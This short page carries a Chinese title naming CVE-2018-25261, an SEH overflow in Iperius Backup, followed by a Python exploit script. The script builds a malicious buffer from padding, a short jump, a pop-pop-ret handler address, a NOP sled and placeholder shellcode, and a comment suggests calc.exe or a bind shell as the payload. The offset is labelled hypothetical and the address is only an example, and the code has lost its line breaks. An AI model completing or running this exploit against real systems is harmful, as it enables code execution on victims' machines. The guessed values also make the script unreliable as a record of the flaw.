CVE-2018-25261 Iperius Backup SEH缓冲区溢出漏洞

# Proof of Concept (PoC) for CVE-2018-25261 # This script generates a malicious string to trigger the SEH Overflow. import sys # Buffer overflow offset to reach SEH structure (Hypothetical value) offset = 4096 # "Next SEH" record: Short jump to skip the SEH handler address (6 bytes) nseh = b"\xeb\x06\x90\x90" # "SE Handler" address: Address of 'pop pop ret' instruction # Replace with a valid address from a non-ASLR module loaded by Iperius Backup seh = b"\xaf\x11\x50\x62" # Example payload (calc.exe or bind shell) # Ensure bad characters (like \x00) are avoided shellcode = b"\xcc\xcc\xcc\xcc" # Placeholder for real shellcode # Construct the full payload payload = b"A" * offset + nseh + seh + b"\x90" * 32 + shellcode try: print("[+] Generating malicious payload for CVE-2018-25261...") print("[+] Payload length:", len(payload)) print("[+] Payload:") print(payload.decode('latin-1')) except Exception as e: print(f"Error: {e}")